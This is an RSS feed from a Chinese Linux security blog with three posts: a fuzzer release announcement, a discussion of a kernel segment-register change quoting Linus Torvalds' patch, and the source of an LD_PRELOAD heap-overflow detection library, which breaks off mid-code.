<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:content="http://purl.org/Rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>Grip2 Blog -- Linux Security Research</title><link>http://www.i170.com/user/grip2/Rss</link><description></description><language>zh-cn</language><pubDate>Wed, 03 Dec 2008 12:03:40  +0800</pubDate><generator>i170.com</generator><image><title>Grip2 Blog -- Linux Security Research</title><url></url><link>http://www.i170.com/user/grip2/Rss</link></image> <item><link>http://www.i170.com/Article/101721</link><title><![CDATA[A simple, extensible fuzzer - gfuzz]]></title><author>grip2</author><category>网络安全</category><pubDate>Fri, 07 Mar 2008 11:42:15  +0800</pubDate><description><![CDATA[<p>
一个简单的、易于扩展的、易于使用的fuzzer程序。目标是(尝试)提供一个能提高不同fuzz程序间功能和代码重用程度、简化新fuzz程序开发步骤，提高开发效率的一个环境。新的fuzz功能模块通过插件的方式加入，目前提供了三个简单的fuzz插件。随着fuzz类型的不断增加，架构可能还需要不断的调整，现在仅仅是一个开始。</p>
<p>下载地址：</p>
<p>gfuzz 0.2.1</p>
<p>http://docs.google.com/Doc?id=dc6dmmd2_1dx9x3thh</p>

]]></description><guid>http://www.i170.com/Article/101721</guid><trackback:ping>http://www.i170.com/Article/101721/trackback</trackback:ping><comments>http://www.i170.com/Article/101721#comment</comments><wfw:commentRss>http://www.i170.com/Article/101721/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/101737</link><title><![CDATA[Linux内核2.4.x和2.6.x版本，SAVE_ALL宏的变化]]></title><author>grip2</author><category>Linux Kernel</category><pubDate>Thu, 06 Mar 2008 15:58:48  +0800</pubDate><description><![CDATA[<p>&lt;by Grip2&gt;</p>
<p>&nbsp;</p>
<p>对比Linux内核2.4.x和2.6.x版本，我们可以发现SAVE_ALL宏中一个有趣的变化，代码如下：<br>
<br>
kernel 2.4.x:<br>
&nbsp; 87#define SAVE_ALL \<br>
&nbsp; 88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cld; \<br>
&nbsp; 89&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %es;
\<br>
&nbsp; 90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ds;
\<br>
&nbsp; 91&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %eax;
\<br>
&nbsp; 92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebp;
\<br>
&nbsp; 93&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edi;
\<br>
&nbsp; 94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %esi;
\<br>
&nbsp; 95&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx;
\<br>
&nbsp; 96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ecx;
\<br>
&nbsp; 97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebx;
\<br>
&nbsp; 98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl
$(__KERNEL_DS),%edx; \<br>
&nbsp; 99&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl %edx,%ds;
\<br>
&nbsp;100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl
%edx,%es;<br>
<br>
kernel 2.6.x:<br>
&nbsp; 84#define SAVE_ALL \<br>
&nbsp; 85&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cld; \<br>
&nbsp; 86&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %es;
\<br>
&nbsp; 87&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ds;
\<br>
&nbsp; 88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %eax;
\<br>
&nbsp; 89&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebp;
\<br>
&nbsp; 90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edi;
\<br>
&nbsp; 91&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %esi;
\<br>
&nbsp; 92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx;
\<br>
&nbsp; 93&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ecx;
\<br>
&nbsp; 94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebx;
\<br>
&nbsp; 95&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl
$(__USER_DS), %edx; \<br>
&nbsp; 96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %ds;
\<br>
&nbsp; 97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl %edx,
%es;<br>
<br>
可以看到__KERNEL_DS被__USER_DS替换。</p>
<p>WHY ?!</p>
<p>在看答案之前，尝试自己解释一下……</p>
<p class="partingline">[separator]</p>
<p>关于这个问题，我就不多说了，我们看Linus在内核邮件列表中的解释：<br>
<br>
http://www.spinics.net/lists/kernel/old/2002-q4/msg23132.html<br>
<br>
Re: Intel P6 vs P7 system call performance<br>
<br>
&nbsp;&nbsp;&nbsp; * To: Ingo Molnar &lt;mingo@elte.hu&gt;<br>
&nbsp;&nbsp;&nbsp; * Subject: Re: Intel P6 vs P7 system call
performance<br>
&nbsp;&nbsp;&nbsp; * From: Linus Torvalds
&lt;torvalds@transmeta.com&gt;<br>
&nbsp;&nbsp;&nbsp; * Date: Tue, 24 Dec 2002 11:36:55 -0800
(PST)<br>
&nbsp;&nbsp;&nbsp; * Cc: Jamie Lokier
&lt;lk@tantalophile.demon.co.uk&gt;, Ulrich Drepper
&lt;drepper@redhat.com&gt;, &lt;bart@etpmod.phys.tue.nl&gt;,
&lt;davej@codemonkey.org.uk&gt;, &lt;hpa@transmeta.com&gt;,
&lt;terje.eggestad@scali.com&gt;, &lt;matti.aarnio@zmailer.org&gt;,
&lt;hugh@veritas.com&gt;, &lt;linux-kernel@vger.kernel.org&gt;<br>
&nbsp;&nbsp;&nbsp; * In-reply-to:
&lt;Pine.LNX.4.44.0212221111080.31068-100000@localhost.localdomain&gt;<br>

&nbsp;&nbsp;&nbsp; * Sender: linux-kernel-owner@vger.kernel.org<br>
<br>
Ok, one final optimization.<br>
<br>
We have traditionally held ES/DS constant at __KERNEL_DS in the
kernel,<br>
and we've used that to avoid saving unnecessary segment registers
over<br>
context switches etc.<br>
<br>
I realized that there is really no reason to use __KERNEL_DS for
this, and<br>
that as far as the kernel is concerned, the only thing that matters
is<br>
that it's a flat 32-bit segment. So we might as well make the
kernel<br>
always load ES/DS with __USER_DS instead, which has the advantage
that we<br>
can avoid one set of segment loads for the "sysenter/sysexit"
case.<br>
<br>
(We still need to load ES/DS at entry to the kernel, since we
cannot rely<br>
on user space not trying to do strange things. But once we load
them with<br>
__USER_DS, we at least don't need to restore them on return to user
mode<br>
any more, since "sysenter" only works in a flat 32-bit user mode
anyway<br>
(*)).<br>
<br>
This doesn't matter much for a P4 (surprisingly, a P4 does very
well<br>
indeed on segment loads), but it does make a difference on
PIII-class<br>
CPU's.<br>
<br>
This makes a PIII do a "getpid()" system call in something like
160<br>
cycles (a P4 is at 430 cycles, oh well).<br>
<br>
Ingo, would you mind taking a look at the patch, to see if you see
any<br>
paths where we don't follow the new segment register rules. It
looks like<br>
swsuspend isn't properly saving and restoring segment register
contents.<br>
so that will need double-checking (it wasn't correct before either,
so<br>
this doesn't make it any worse, at least).<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Linus<br>
<br>
(*) We could avoid even that initial load by instead _testing_ that
the<br>
values are the correct ones and jumping out if not, but I worry
about vm86<br>
mode being able to fool us with segments that have the right
selectors but<br>
the wrong segment caches. I disabled sysenter for vm86 mode, but
it's so<br>
subtle that I prefer just doing the segment loads rather than doing
two<br>
moves and comparisons.<br>
<br>
###########################################<br>
# The following is the BitKeeper ChangeSet Log<br>
# --------------------------------------------<br>
# 02/12/24&nbsp;&nbsp;&nbsp;
torvalds@home.transmeta.com&nbsp;&nbsp;&nbsp; 1.953<br>
# Make the default values for DS/ES be the _user_ segment
descriptors<br>
# on x86 - the kernel doesn't really care (as long as it's all flat
32-bit),<br>
# and it means that the return path for sysenter/sysexit can avoid
re-loading<br>
# the segment registers.<br>
#<br>
# NOTE! This means that _all_ kernel code (not just the sysenter
path) must<br>
# be appropriately changed, since the kernel knows the conventions
and doesn't<br>
# save/restore DS/ES internally on context switches etc.<br>
# --------------------------------------------<br>
#<br>
diff -Nru a/arch/i386/kernel/entry.S b/arch/i386/kernel/entry.S<br>
--- a/arch/i386/kernel/entry.S&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
+++ b/arch/i386/kernel/entry.S&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
@@ -91,18 +91,21 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %ecx; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebx; \<br>
-&nbsp;&nbsp;&nbsp; movl $(__KERNEL_DS), %edx; \<br>
+&nbsp;&nbsp;&nbsp; movl $(__USER_DS), %edx; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %ds; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %es;<br>
<br>
-#define RESTORE_REGS&nbsp;&nbsp;&nbsp; \<br>
+#define RESTORE_INT_REGS \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %ebx;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %ecx;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %edx;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %esi;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %edi;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %ebp;&nbsp;&nbsp;&nbsp; \<br>
-&nbsp;&nbsp;&nbsp; popl %eax;&nbsp;&nbsp;&nbsp; \<br>
+&nbsp;&nbsp;&nbsp; popl %eax<br>
+<br>
+#define RESTORE_REGS&nbsp;&nbsp;&nbsp; \<br>
+&nbsp;&nbsp;&nbsp; RESTORE_INT_REGS; \<br>
&nbsp;1:&nbsp;&nbsp;&nbsp; popl %ds;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;2:&nbsp;&nbsp;&nbsp; popl %es;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;.section .fixup,"ax";&nbsp;&nbsp;&nbsp; \<br>
@@ -271,9 +274,9 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl TI_FLAGS(%ebx), %ecx<br>
&nbsp;&nbsp;&nbsp;&nbsp; testw $_TIF_ALLWORK_MASK, %cx<br>
&nbsp;&nbsp;&nbsp;&nbsp; jne syscall_exit_work<br>
-&nbsp;&nbsp;&nbsp; RESTORE_REGS<br>
-&nbsp;&nbsp;&nbsp; movl 4(%esp),%edx<br>
-&nbsp;&nbsp;&nbsp; movl 16(%esp),%ecx<br>
+&nbsp;&nbsp;&nbsp; RESTORE_INT_REGS<br>
+&nbsp;&nbsp;&nbsp; movl 12(%esp),%edx<br>
+&nbsp;&nbsp;&nbsp; movl 24(%esp),%ecx<br>
&nbsp;&nbsp;&nbsp;&nbsp; sti<br>
&nbsp;&nbsp;&nbsp;&nbsp; sysexit<br>
<br>
@@ -428,7 +431,7 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %esp, %edx<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %esi&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # push the error code<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # push the pt_regs
pointer<br>
-&nbsp;&nbsp;&nbsp; movl $(__KERNEL_DS), %edx<br>
+&nbsp;&nbsp;&nbsp; movl $(__USER_DS), %edx<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %ds<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %es<br>
&nbsp;&nbsp;&nbsp;&nbsp; call *%edi<br>
diff -Nru a/arch/i386/kernel/head.S b/arch/i386/kernel/head.S<br>
--- a/arch/i386/kernel/head.S&nbsp;&nbsp;&nbsp; Tue Dec 24 11:34:28
2002<br>
+++ b/arch/i386/kernel/head.S&nbsp;&nbsp;&nbsp; Tue Dec 24 11:34:28
2002<br>
@@ -235,12 +235,15 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; lidt idt_descr<br>
&nbsp;&nbsp;&nbsp;&nbsp; ljmp $(__KERNEL_CS),$1f<br>
&nbsp;1:&nbsp;&nbsp;&nbsp; movl
$(__KERNEL_DS),%eax&nbsp;&nbsp;&nbsp; # reload all the segment
registers<br>
-&nbsp;&nbsp;&nbsp; movl %eax,%ds&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; # after changing gdt.<br>
+&nbsp;&nbsp;&nbsp; movl %eax,%ss&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # after changing gdt.<br>
+<br>
+&nbsp;&nbsp;&nbsp; movl $(__USER_DS),%eax&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; # DS/ES contains default USER segment<br>
+&nbsp;&nbsp;&nbsp; movl %eax,%ds<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %eax,%es<br>
+<br>
+&nbsp;&nbsp;&nbsp; xorl %eax,%eax&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # Clear FS/GS and LDT<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %eax,%fs<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %eax,%gs<br>
-&nbsp;&nbsp;&nbsp; movl %eax,%ss<br>
-&nbsp;&nbsp;&nbsp; xorl %eax,%eax<br>
&nbsp;&nbsp;&nbsp;&nbsp; lldt %ax<br>
&nbsp;&nbsp;&nbsp;&nbsp; cld&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; # gcc2 wants the direction flag cleared at all
times<br>
&nbsp;#ifdef CONFIG_SMP<br>
diff -Nru a/arch/i386/kernel/process.c
b/arch/i386/kernel/process.c<br>
--- a/arch/i386/kernel/process.c&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
+++ b/arch/i386/kernel/process.c&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
@@ -219,8 +219,8 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.ebx = (unsigned long) fn;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.edx = (unsigned long) arg;<br>
<br>
-&nbsp;&nbsp;&nbsp; regs.xds = __KERNEL_DS;<br>
-&nbsp;&nbsp;&nbsp; regs.xes = __KERNEL_DS;<br>
+&nbsp;&nbsp;&nbsp; regs.xds = __USER_DS;<br>
+&nbsp;&nbsp;&nbsp; regs.xes = __USER_DS;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.orig_eax = -1;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.eip = (unsigned long)
kernel_thread_helper;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.xcs = __KERNEL_CS;<br>
<br>
-</p>

]]></description><guid>http://www.i170.com/Article/101737</guid><trackback:ping>http://www.i170.com/Article/101737/trackback</trackback:ping><comments>http://www.i170.com/Article/101737#comment</comments><wfw:commentRss>http://www.i170.com/Article/101737/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/38516</link><title><![CDATA[Linux堆溢出检查工具 -- Linux Heap overflow Checker v0.2.0]]></title><author>grip2</author><category>网络安全</category><pubDate>Mon, 11 Sep 2006 14:48:42  +0800</pubDate><description><![CDATA[<p>
一个简单的小工具。这个工具可以在溢出发生时crash进程，这样就可以准确的确定堆溢出点。使用这个功能需要编译时指定编译模式：</p>
<p>MODE=-DGHC_CRASH_MODE</p>
<p>&nbsp;</p>
<p>下面是代码：</p>
<p>--------------------------------------------------------</p>
<p>#!/bin/bash<br>
##<br>
# Heap overflow Checker<br>
# Version: 0.2.0<br>
# Written by grip2 &lt;gript2@hotmail.com&gt;<br>
##<br>
<br>
mkdir heapof_check<br>
cd heapof_check<br>
<br>
## README<br>
cat &lt;&lt; __EOF__ &gt; README<br>
grip2@debian:~/heapof_check$ ls<br>
Makefile&nbsp; README&nbsp; ghc.c&nbsp; test.c</p>
<p class="partingline">[separator]</p>
<p><br>
grip2@debian:~/heapof_check$ make<br>
gcc -shared -o ghc.so -fPIC ghc.c -nostdlib -ldl -Wall<br>
ghc.c:30: warning: integer constant is too large for 'long'
type<br>
<br>
grip2@debian:~/heapof_check$ export
LD_PRELOAD=/home/grip2/heapof_check/ghc.so<br>
<br>
grip2@debian:~/heapof_check$ ./test<br>
[** warning **]&nbsp; head overflow at 0x80496d0<br>
[** warning **]&nbsp; tail overflow at 0x80496f0<br>
[** error **]&nbsp;&nbsp;&nbsp; free NULL pointer<br>
<br>
grip2@debian:~/heapof_check$ export LD_PRELOAD=<br>
grip2@debian:~/heapof_check$<br>
__EOF__<br>
<br>
## ghc.c<br>
cat &lt;&lt; __EOF__ &gt; ghc.c<br>
/**<br>
&nbsp;* ghc.c -- Heap overflow Check<br>
&nbsp;* version: 0.2.0<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;
&lt;chenyu@venustech.com.cn&gt;<br>
&nbsp;*/<br>
<br>
#define _GNU_SOURCE&nbsp;&nbsp;&nbsp; /* for RTLD_NEXT */<br>
#include &lt;dlfcn.h&gt;<br>
<br>
#include &lt;malloc.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;assert.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
<br>
#include &lt;asm/page.h&gt;&nbsp;&nbsp;&nbsp; /* for PAGE_SIZE
*/<br>
<br>
enum { /* memory Alloc MODE */<br>
&nbsp;&nbsp;&nbsp; AMODE_MALLOC = 0,<br>
#define AMDOE_MALLOC AMODE_MALLOC<br>
&nbsp;&nbsp;&nbsp; AMODE_SBRK,<br>
#define AMDOE_SBRK AMODE_SBRK<br>
};<br>
<br>
#define hc_log(...) &nbsp;&nbsp;&nbsp; do { printf(__VA_ARGS__);
printf("\n");&nbsp;&nbsp;&nbsp; } while (0)<br>
<br>
void *malloc(size_t size);<br>
void free(void *ptr);<br>
void *realloc(void *ptr, size_t size);<br>
void *calloc(size_t nmemb, size_t size);<br>
<br>
static void __hc_init(void);<br>
<br>
typedef void *malloc_t(size_t size);<br>
static malloc_t *pmalloc;<br>
typedef void free_t(void *);<br>
static free_t *pfree;<br>
<br>
#ifndef GHC_CRASH_MODE<br>
typedef long long magic_stamp_t;<br>
static magic_stamp_t magic_stamp = 0x1976112619770116;<br>
#endif<br>
<br>
static volatile int init_flag = 0;&nbsp;&nbsp;&nbsp; /* for
pmalloc, pfree, etc. */<br>
int hc_lock = 0;<br>
<br>
#if 0<br>
int main(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; char *banner = "** ghc.so - Heap overflow
Check.\n"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "** Version 0.2.0\n"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Written by grip2
&lt;gript2@hotmail.com&gt; &lt;chenyu@venustech.com.cn&gt;\n";<br>
&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
#endif<br>
<br>
static void __hc_init(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; char *error;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** Heap overflow Checker init
...\n");<br>
#endif&nbsp;&nbsp;&nbsp;<br>
<br>
&nbsp;&nbsp;&nbsp; dlerror(); /* see man dlsym */<br>
&nbsp;&nbsp;&nbsp; pmalloc = (malloc_t *) dlsym(RTLD_NEXT,
"malloc");<br>
&nbsp;&nbsp;&nbsp; if ((error = dlerror()) != NULL)
{&nbsp;&nbsp;&nbsp; /* JFF: man dlerror */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "in %s line
%d: %s\n", __FILE__, __LINE__,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
error);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; pfree = (free_t *) dlsym(RTLD_NEXT, "free");<br>
&nbsp;&nbsp;&nbsp; if ((error = dlerror()) != NULL) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "in %s line
%d: %s\n", __FILE__, __LINE__, error);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return;<br>
err:<br>
&nbsp;&nbsp;&nbsp; exit(-1);&nbsp;&nbsp;&nbsp; /* kill program is
better than continue */<br>
}<br>
<br>
static void safe_hc_init(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; int val;<br>
<br>
&nbsp;&nbsp;&nbsp; val = 1;<br>
&nbsp;&nbsp;&nbsp; __asm__ volatile (<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "xchgl %1,%0"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :"=r" (hc_lock)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :"m" (val), "0" (hc_lock)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :"memory");<br>
<br>
&nbsp;&nbsp;&nbsp; if (!val) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __hc_init();<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; init_flag = 1;<br>
&nbsp;&nbsp;&nbsp; } else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while (init_flag == 0);<br>
&nbsp;&nbsp;&nbsp; }<br>
}<br>
<br>
#ifndef GHC_CRASH_MODE<br>
static inline void *get_head_from_user(void *ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *pmem;<br>
<br>
&nbsp;&nbsp;&nbsp; pmem = (char *) ptr - sizeof(magic_stamp) -
2*sizeof(int);<br>
&nbsp;&nbsp;&nbsp; return pmem;<br>
}<br>
<br>
static inline void *get_user_from_head(void *pmem)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *ptr;<br>
<br>
&nbsp;&nbsp;&nbsp; ptr = (char *) pmem + sizeof(magic_stamp) +
2*sizeof(int);<br>
&nbsp;&nbsp;&nbsp; return ptr;<br>
}<br>
<br>
static int memcheck(void *pmem)<br>
{<br>
&nbsp;&nbsp;&nbsp; magic_stamp_t tail_stamp, head_stamp;<br>
&nbsp;&nbsp;&nbsp; int size, size2; /* don't use size_t or unsigned
type */<br>
&nbsp;&nbsp;&nbsp; int res = 0;<br>
&nbsp;&nbsp;&nbsp; void *ptr;<br>
<br>
&nbsp;&nbsp;&nbsp; /* get head stamp */<br>
&nbsp;&nbsp;&nbsp; memcpy(&amp;head_stamp, pmem,
sizeof(head_stamp));<br>
&nbsp;&nbsp;&nbsp; if (memcmp(&amp;head_stamp, &amp;magic_stamp,
sizeof(magic_stamp)) != 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
head overflow at %p (stamp)", pmem);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; res = -1;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; /* check length section */<br>
&nbsp;&nbsp;&nbsp; size = *(int *) ((char *) pmem +
sizeof(head_stamp));<br>
&nbsp;&nbsp;&nbsp; size2 = *(int *) ((char *) pmem +
sizeof(head_stamp) + sizeof(int));<br>
&nbsp;&nbsp;&nbsp; if (size != size2 || size &lt; 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
head overflow at %p (user length)", (char *) pmem +
sizeof(head_stamp));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -1;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; /* get tail stamp */<br>
&nbsp;&nbsp;&nbsp; ptr = get_user_from_head(pmem);<br>
&nbsp;&nbsp;&nbsp; memcpy(&amp;tail_stamp, ptr + size,
sizeof(tail_stamp));<br>
&nbsp;&nbsp;&nbsp; if (memcmp(&amp;tail_stamp, &amp;magic_stamp,
sizeof(magic_stamp)) != 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
tail overflow at %p", (char *) pmem + size);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -1;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return res;<br>
}<br>
#endif /* ifndef GHC_CRASH_MODE */<br>
<br>
static inline size_t get_user_size(void *ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; size_t size;<br>
<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; size = *(int *) (ptr - sizeof(unsigned long) -
sizeof(unsigned int));<br>
#else<br>
&nbsp;&nbsp;&nbsp; void *pmem;<br>
&nbsp;&nbsp;&nbsp; pmem = get_head_from_user(ptr);<br>
&nbsp;&nbsp;&nbsp; if (memcheck(pmem) != 0)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -1;<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; size = *(int *) ((char *) pmem +
sizeof(magic_stamp));<br>
#endif<br>
&nbsp;&nbsp;&nbsp; return size;<br>
}<br>
<br>
static void *__ghc_alloc(size_t size, int mode)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *pmem, *ptr = NULL;<br>
&nbsp;&nbsp;&nbsp; size_t realsize;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** __ghc_alloc -- mode [%d]\n",
mode);<br>
#endif<br>
<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; /**<br>
&nbsp;&nbsp;&nbsp; &nbsp;* memory map: | stuff1&nbsp; | user_length
| real start_addr | user chunk | memory trap | stuff2 | */<br>
&nbsp;&nbsp;&nbsp; realsize = sizeof(unsigned int)
&nbsp;&nbsp;&nbsp; /* user_length */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
sizeof(unsigned long)&nbsp;&nbsp;&nbsp; /* start_addr */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
size&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /*
user chunk */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
PAGE_SIZE &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* trap */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
(PAGE_SIZE-1);&nbsp;&nbsp;&nbsp; /* padding (stuff1 + stuff2)*/<br>
#else /* !GHC_CRASH_MODE */<br>
&nbsp;&nbsp;&nbsp; /**<br>
&nbsp;&nbsp;&nbsp; &nbsp;* memory map: | magic | user length | user
length | user space | magic | */<br>
&nbsp;&nbsp;&nbsp; realsize = size + 2*sizeof(magic_stamp) +
2*sizeof(int);<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp; switch (mode) {<br>
&nbsp;&nbsp;&nbsp; case AMODE_MALLOC:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; assert(init_flag);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pmem = pmalloc(realsize);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; case AMODE_SBRK:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pmem = sbrk(realsize);<br>
